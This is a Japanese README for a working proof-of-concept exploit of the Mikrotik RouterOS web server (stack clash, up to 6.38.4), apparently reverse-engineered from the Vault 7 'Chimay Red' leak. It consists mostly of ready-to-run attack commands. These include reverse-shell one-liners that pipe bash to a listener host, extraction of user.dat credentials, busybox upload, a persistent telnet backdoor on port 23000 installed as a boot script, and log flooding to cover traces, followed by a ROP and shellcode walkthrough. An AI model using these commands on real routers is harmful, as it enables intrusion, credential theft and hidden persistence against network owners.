
Vault 7 CIAリークのMikrotikエクスプロイトの動作するPOC
Vault 7 CIAリークのMikrotikエクスプロイトのリバースエンジニアリング
詳細についてはPDFを参照してください(更新されていません)
RouterOS 6.38.4まで
6.38.5での新機能(2017-Mar-09 11:32): !) www - httpサーバーの脆弱性を修正;
POSTヘッダーでcontent-lengthに-1を送信する単純なクラッシュ
2つのスレッドを使用したスタッククラッシュエクスプロイト、ROPチェーンなし
ROPは動的に作成されるため、RouterOSファームウェアからwwwバイナリを抽出する必要があります。
(/nova/bin/に配置されています)
実行中のバージョンが同じであることを確認してください。
抽出を簡素化するために、以下を使用できます:
$ ./tools/getROSbin.py 6.38.4 x86 /nova/bin/www www_binary
2つのスレッドを使用したスタッククラッシュエクスプロイト、bashコマンドを実行するためのROPチェーン付き
シェルで:
$ nc -l -p 1234
別のシェルで:
$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f 2>&1"
ここで:
$ ./StackClash_x86.py 192.168.8.1 80 www_binary "cp /rw/store/user.dat /ram/winbox.idx"
$ sleep 3 # (wwwが再起動するまで数秒待つ)
$ curl -s http://192.168.8.1/winbox/index | ./tools/extract_user.py -
Mikrotikコンソールで/nova/bin/infoを使用してコマンドを実行できます。
例: /nova/bin/info "/system reboot"はシステムを再起動します。
$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/nova/bin/info '/export' > /ram/winbox.idx"
$ sleep 20 # (/exportコマンドの実行は少し遅いです)
$ curl -s http://192.168.8.1/winbox/index
2つのスレッドを使用したスタッククラッシュエクスプロイト、ROPチェーン + シェルコードでbashコマンドを実行 mipsバージョンのwwwではスタックはRWXなので、スタックにジャンプできます。
x86バージョンと同じbashコマンドを実行できます。
面白いコマンド
$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "echo hello world > /dev/lcd"

やらないでください! ;-P
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "while [ true ]; do /nova/bin/info ':beep frequency=660 length=100ms;:delay 150ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=510 length=100ms;:delay 100ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=770 length=100ms;:delay 550ms;:beep frequency=380 length=100ms;:delay 575ms;:beep frequency=510 length=100ms;:delay 450ms;:beep frequency=380 length=100ms;:delay 400ms;:beep frequency=320 length=100ms;:delay 500ms;:beep frequency=440 length=100ms;:delay 300ms;:beep frequency=480 length=80ms;:delay 330ms;:beep frequency=450 length=100ms;:delay 150ms;:beep frequency=430 length=100ms;:delay 300ms;:beep frequency=380 length=100ms;:delay 200ms;:beep frequency=660 length=80ms;:delay 200ms;:beep frequency=760 length=50ms;:delay 150ms;:beep frequency=860 length=100ms;:delay 300ms;:beep frequency=700 length=80ms;:delay 150ms;:beep frequency=760 length=50ms;:delay 350ms;:beep frequency=660 length=80ms;:delay 300ms;:beep frequency=520 length=80ms;:delay 150ms;:beep frequency=580 length=80ms;:delay 150ms;:beep frequency=480 length=80ms;:delay 500ms;'; done"
busybox-mipsを/ram/busyboxにアップロードするには
シェルで:
$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips
$ { echo "echo Uploading..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /ram/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x //g"; } | nc -l -q 0 -p 1234
別のシェルで(これはリバースシェルコマンドであることに注意してください):
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"
そして接続が自動的に閉じるまで待ちます。
(ファイルがアップロードされたら、再度リバースシェルを実行し(今回はnc -l -p 1234でリッスンするだけ)、/ram/内にbusyboxが見つかります)
/flash/etc/rc.d/run.d/にbashスクリプトを作成することで、各起動時にスクリプトを実行できます。
実行権限を設定するように注意してください。そうしないと、ルーターが起動時にスタックし、ファームウェアを復元する必要があります!
この例では、ポート23000で永続的なtelnetサーバーを有効にします。
シェルで:
$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips
$ { echo "echo Installing..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /flash/bin/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x //g"; echo "chmod 777 /flash/bin/busybox"; echo "/flash/bin/busybox --install -s /flash/bin/"; echo "mkdir -p /flash/etc/rc.d/run.d"; echo 'echo -e "#!/flash/bin/sh\ntelnetd -p 23000 -l sh" > /flash/etc/rc.d/run.d/S89own'; echo "chmod 777 /flash/etc/rc.d/run.d/S89own"; echo "/nova/bin/info '/system reboot'"; echo "echo Done! Rebooting..."; } | nc -l -p 1234
別のシェルで(これはリバースシェルコマンドであることに注意してください):
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"
そしてDone! Rebooting...が表示されるまで待ちます。
ルーターが再び起動したら:
$ telnet 192.168.8.1 23000
Trying 192.168.8.1...
Connected to 192.168.8.1.
Escape character is '^]'.
MikroTik v6.38.4 (stable)
/ #
httpソケットを再利用してシェルを生成するので、リバース接続なしでシェルを持つことができます。
$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary
[...]
sh: turning off NDELAY mode
Got root ;-)
busybox-mipsを/ram/busyboxにアップロードするには
$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary busybox-mips /ram/busybox
[...]
Uploading busybox-mips in /ram/busybox...
Upload done!
sh: turning off NDELAY mode
Got root ;-)
chmod 777 /ram/busybox
/ram/busybox
BusyBox v1.28.1 (2018-02-15 14:34:02 CET) multi-call binary.
[...]
RGBビットマップ24ビット(非圧縮)ファイルのみがサポートされています。 最大サイズ: 幅160px、高さ76px サンプルはこちらにあります
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary docs/logo.bmp /flash/boot/logo.bmp
[...]
Uploading docs/logo.bmp in /flash/boot/logo.bmp...
Upload done!
sh: turning off NDELAY mode
Got root ;-)
reboot
*** Connection closed by remote host ***

ポストエクスプロイトアクション後にログを削除するには
/ # /nova/bin/info ":for i from=1 to=1000 do={ :log info message='Some dummy info' }"
これは漏洩したCIAドキュメントのリバースエンジニアリングです。 公開されているchimay-red.pyはありません。
時間ができ次第PDFを更新しますが、とにかく: 私たちは以下を知っています:
Content-Lengthとallocaマクロのおかげで、スタックポインタとPOSTデータが書き込まれる場所を制御できます。 スレッドAのソケットに128KBより大きいContent-Lengthを送信すると、スタックポインタは別のスレッド(B)のスタック内を指し、スレッドAのPOSTデータはスレッドBのスタック内に書き込まれます(任意の位置に、Content-Length値を調整するだけで済みます)。 これで、リターンアドレスが保存されている位置から始まるROPチェーンをスレッドBのスタックに書き込むことができます。 スレッドBのソケットを閉じると、データを待っている関数が戻るため(ただし変更されたアドレスで)、ROPチェーンが開始されます。
ROPチェーンは、バイナリ内の文字列のチャンクを探してメモリの未使用領域に連結することで、"system"文字列と"your_shell_cmd"文字列を構築します。 次に、"system"関数のアドレスを見つけるために、作成したばかりの文字列"system"のアドレスを引数として渡して(PLTに存在する)"dlsym"関数に戻ります。 これで、作成したばかりの文字列"your_shell_cmd"のアドレスを引数として渡して、systemのアドレスに戻ることができます。
このバージョンのwwwではDEPが無効になっているため、スタックを実行できます。 しかし、ファイルシステムに"/bin/sh"が存在しないためsystem関数を使用できないので、execveを直接使用しました。 小さなROP(3つのガジェット)がスタック上の場所(シェルコードを配置した場所)のアドレスを見つけ、そのアドレスにジャンプします。
シェルコードでは、fork(syscall 4002)を行い、リークしたスタックのアドレスを使用して、文字列"/bin/bash"、"-c"、"your_shell_cmd"のアドレスで4つのポインタの配列を埋めます(最後のポインタはNULLのままにします)。 次に、a0、a1、a2をそれぞれ次のように埋めます: "/bin/bash"のアドレス、前のステップで埋めた配列のアドレス、配列のNULLエントリのアドレス。 この時点で、syscall 4011(execve)を起動してbashコマンドを実行できます。
すべてのRouterOSバージョンをテストする時間がありません。 テストしたすべての安定版(6.28、6.27、6.37.2、6.37.3、6.38.3、6.38.4)で動作しています(x86とmipsbeの両方)。 6.37.5では動作しませんが、これはバグ修正版であることに気付きました。 おそらくすべてのバグ修正版で私のツールは動作しないでしょう(未検証)。
ssl.wrap_socketを使用してHTTPSバージョンを実装し、wwwが起動した直後であれば動作します。
しかし、wwwがしばらく実行されている場合は、エクスプロイトを実行する前にクラッシュさせる必要があります。
HTTPSを有効にしてwwwをクラッシュさせると、wwwはHTTPSソケットにバインドしなくなります...
そのため、ほとんどのシナリオでまったく動作せず、クラッシュ後にWebサーバーが到達不能になるため、現時点では公開リリースにHTTPSサポートを含めていません。